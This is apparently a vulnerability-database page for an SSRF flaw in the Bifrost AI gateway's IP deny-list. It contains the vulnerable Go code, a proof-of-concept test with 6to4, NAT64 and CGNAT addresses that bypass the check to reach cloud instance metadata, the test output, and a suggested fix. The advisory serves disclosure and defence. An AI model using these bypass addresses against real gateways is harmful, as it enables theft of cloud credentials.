Skip to main content

Bifrost AI Gateway CVE-2026-55245

| EUVDEUVD-2026-67860 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-08-28 https://github.com/maximhq/bifrost GHSA-w98g-5w9p-p3rc
8.7
CVSS 4.0 · Vendor: https://github.com/maximhq/bifrost
Share

Severity by source

Vendor (https://github.com/maximhq/bifrost) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.3 CRITICAL

Scope changes because the gateway reaches internal systems on the attacker's behalf; C:H reflects IMDS credential exfiltration; I:L covers incidental internal API calls; no availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
SUSE
HIGH
qualitative

Primary rating from Vendor (https://github.com/maximhq/bifrost).

CVSS VectorVendor: https://github.com/maximhq/bifrost

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

7
POC Analysis Generated
Sep 13, 2026 - 11:26 vuln.today
Analysis Updated
Aug 28, 2026 - 20:38 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Aug 28, 2026 - 20:22 vuln.today
cvss_changed
CVSS changed
Aug 28, 2026 - 20:22 NVD
8.7 (HIGH)
Source Code Evidence Fetched
Aug 28, 2026 - 18:51 vuln.today
Analysis Generated
Aug 28, 2026 - 18:51 vuln.today
CVE Published
Aug 28, 2026 - 18:26 cve.org
HIGH

DescriptionCVE.org

Summary

isPublicIP in core/providers/utils/fetch.go - the SSRF deny-list that gates FetchAndEncodeURL - does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (100.64.0.0/10, RFC 6598), IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48), and deprecated IPv6 site-local (fec0::/10) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach - including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of 169.254.169.254.

The rest of the fetch hardening is correct and is not part of this report: the dial-time LookupIP + pin to ips[0] closes the DNS-rebinding TOCTOU, CheckRedirect re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in isPublicIP.

Affected component

  • File: core/providers/utils/fetch.go, function isPublicIP (lines 107-118), reached only through FetchAndEncodeURL (line 28).
  • Go module: github.com/maximhq/bifrost/core
  • Version: confirmed on the current dev HEAD f415c144678bd4b411d74a1c1f85f18652833224 (core/version = 1.5.15).

Vulnerable code

go
func isPublicIP(ip net.IP) bool {
	addr, ok := netip.AddrFromSlice(ip)
	if !ok {
		return false
	}
	addr = addr.Unmap()
	if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||
		addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {
		return false
	}
	return true
}

addr.IsPrivate() covers only RFC 1918 + RFC 4193 (fc00::/7); it does not cover CGNAT 100.64.0.0/10. addr.Unmap() only collapses the ::ffff:0:0/96 IPv4-mapped form, so 6to4 (2002::/16) and NAT64 (64:ff9b::/96, 64:ff9b:1::/48) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. fec0::/10 (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.

Attack surface / who can trigger it

FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:

  • core/providers/bedrock/utils.go:1073 (document block.File.FileURL), :1187 (image URL via convertImageToBedrockSource)
  • core/providers/vertex/vertex.go:402 (document block.File.FileURL)

These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host - it performs no address filtering - so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.

Impact

Server-side request forgery from the gateway into internal address space that the deny-list intends to block:

  • CGNAT 100.64.0.0/10 - reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.
  • 6to4 2002:a9fe:a9fe:: and NAT64 64:ff9b::a9fe:a9fe - both embed 169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct 169.254.169.254 and ::ffff:169.254.169.254 forms are correctly blocked.
  • fec0::/10 - deprecated site-local, still routed on some networks.

CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.

Proof of concept

A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL - real http.Client, real Transport.DialContext, real isPublicIP - and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).

go
package utils

import (
	"context"
	"fmt"
	"strings"
	"testing"
	"time"
)

func TestSSRFGateDecision(t *testing.T) {
	cases := []struct{ name, url string }{
		{"CGNAT-100.64", "http://100.64.1.1:9/"},
		{"CGNAT-100.127", "http://100.127.255.254:9/"},
		{"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
		{"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
		{"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
		{"sitelocal-fec0", "http://[fec0::1]:9/"},
		// controls (must be rejected at the gate):
		{"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
		{"CONTROL-RFC1918", "http://10.0.0.1:9/"},
		{"CONTROL-loopback", "http://127.0.0.1:9/"},
		{"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
	}
	for _, c := range cases {
		ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
		_, _, err := FetchAndEncodeURL(ctx, c.url)
		cancel()
		gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
		fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
	}
}

Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):

=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===
target                 gateBlock  verbatim error / outcome
----------------------------------------------------------------------------------------------------
CGNAT-100.64           false      failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded
CGNAT-100.127          false      failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded
6to4-IMDS              false      failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF
NAT64-IMDS             false      failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded
NAT64-local-IMDS       false      failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded
sitelocal-fec0         false      failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF
CONTROL-direct-IMDS    true       failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254
CONTROL-RFC1918        true       failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1
CONTROL-loopback       true       failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1
CONTROL-mapped-IMDS    true       failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254

Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial - observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.

A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):

100.64.0.1             isPublicIP=true   (CGNAT - should be blocked)
100.127.255.254        isPublicIP=true   (CGNAT)
2002:a9fe:a9fe::       isPublicIP=true   (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -> 169.254.169.254)
fec0::1                isPublicIP=true   (deprecated site-local)
169.254.169.254        isPublicIP=false  (direct IMDS - correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped - correctly blocked, control)
8.8.8.8                isPublicIP=true   (public - correctly allowed, control)

Honest scope note

The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here - the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.

References (canonical dimension precedents)

  • CVE-2026-45741 / GHSA-86m8-88fq-xfxp - Gotenberg IsPublicIP IPv6 6to4 / NAT64 / site-local bypass; same Go netip + Unmap gap.
  • GHSA-5jh9-2h63-pw4q - CC-Tweaked NAT64 (64:ff9b::/96) bypass; their fix adds isCarrierGradeNatAddress (CGNAT) + NAT64 handling.

Suggested fix

In isPublicIP, after Unmap():

  1. Reject CGNAT: 100.64.0.0/10 for IPv4 (and the ::ffff:100.64.0.0/106 mapped form is already handled by Unmap).
  2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (2002::/16 -> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.
  3. Reject deprecated site-local fec0::/10.

AnalysisAI

SSRF in the Bifrost AI gateway's multimodal URL-fetch path permits any client that can submit a Bedrock or Vertex provider request to reach internal network services - including cloud instance-metadata endpoints - by supplying IPv6 transition-form addresses (6to4, NAT64) or CGNAT addresses that the isPublicIP deny-list in core/providers/utils/fetch.go incorrectly classifies as routable public IPs. All releases of the github.com/maximhq/bifrost/core Go module prior to v1.5.17 are affected, confirmed on dev HEAD f415c14 (core/version 1.5.15). …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation The attacker must be able to submit multimodal Bedrock or Vertex provider requests to the Bifrost gateway - i.e., the gateway must be configured with at least one of those two providers enabled, and the attacker must have sufficient access to send requests (authentication requirements to the Bifrost API itself are not specified in the advisory; the CVSS PR:N indicates no privilege elevation is required to trigger the fetch). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H) reflects network-accessible, low-complexity, unauthenticated exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Vendor-released patch: core/v1.5.17, available at https://github.com/maximhq/bifrost/releases/tag/core/v1.5.17. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all instances of maximhq/bifrost/core module and document current versions across development, staging, and production environments. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

Vendor StatusVendor

SUSE

Severity: Important

Share

CVE-2026-55245 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy